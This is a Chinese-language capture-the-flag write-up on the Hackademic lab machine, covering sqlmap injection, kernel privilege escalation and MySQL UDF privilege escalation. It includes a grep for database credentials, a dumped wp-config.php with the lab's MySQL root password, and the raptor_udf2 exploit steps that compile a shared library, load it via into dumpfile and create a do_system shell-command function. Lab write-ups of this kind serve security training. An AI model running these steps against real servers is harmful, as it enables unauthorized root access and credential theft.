靶机 hackademic-udf提权
sqlmap一把梭
burpsuit跑账号密码,可能跑不出来,登录有点问题
查不到有用信息,尝试内核提权
提权成功
拓展-mysql udf提权
看到别人的wp改造一下靶机能学到别的东西
https://blog.csdn.net/Bossfrank/article/details/131553175
先拿到root权限,在/usr/lib/mysql/目录下将plugin目录的权限改为777原因后讲
再切回去apache用户
https://blog.csdn.net/Bossfrank/article/details/131424479
https://blog.csdn.net/qq_44159028/article/details/121193134
udf先决条件
- 拥有mysql用户与密码,可以远程登录mysql
- mysql具有写入文件的权限,即secure_file_priv的值为空
找找配置文件
grep -R -i DB_USER /var/* 2>/dev/null
可以看到有一个wp-config.php
bash-4.0$ cat wp-config.php
cat wp-config.php
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'root'); // Your MySQL username
define('DB_PASSWORD', 'lz5yedns'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
// Change the prefix if you want to have multiple blogs in a single database.
$table_prefix = 'wp_'; // example: 'wp_' or 'b2' or 'mylogin_'
// Change this to localize WordPress. A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');
/* Stop editing */
define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>
成功拿到账号密码
查看mysql是否有写入文件的权限
mysql> show global variables like '%secure%';
show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。
- secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制
上传UDF动态链接库文件
查看mysql版本
mysql> select version();
select version();
+-----------+
| version() |
+-----------+
| 5.1.47 |
+-----------+
1 row in set (0.00 sec)
udf.dll文件放置路径
1、mysql<5.0,路径随意
3、5.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)
这里就理解到为什么之前要将plugin加777权限,因为需要将udf.dll文件写入到这个plugin文件中
拿到exp
searchsploit mysql udf
searchsploit mysql udf -m 1518
上传后按照exp的usage一路下去
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));//这里要将路径改成自己上传编译后的文件路径
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
最后我们可以看到,可以成功提权到mysql用户组,如果这个组权限很高,那就能做更多事请了
bash-4.0$ id
id
uid=48(apache) gid=489(apache) groups=489(apachebash-4.0$ ./rootbash -p
./rootbash -p
rootbash-4.0$ id
id
uid=48(apache) gid=489(apache) euid=27(mysql) egid=480(mysql) groups=489(apache)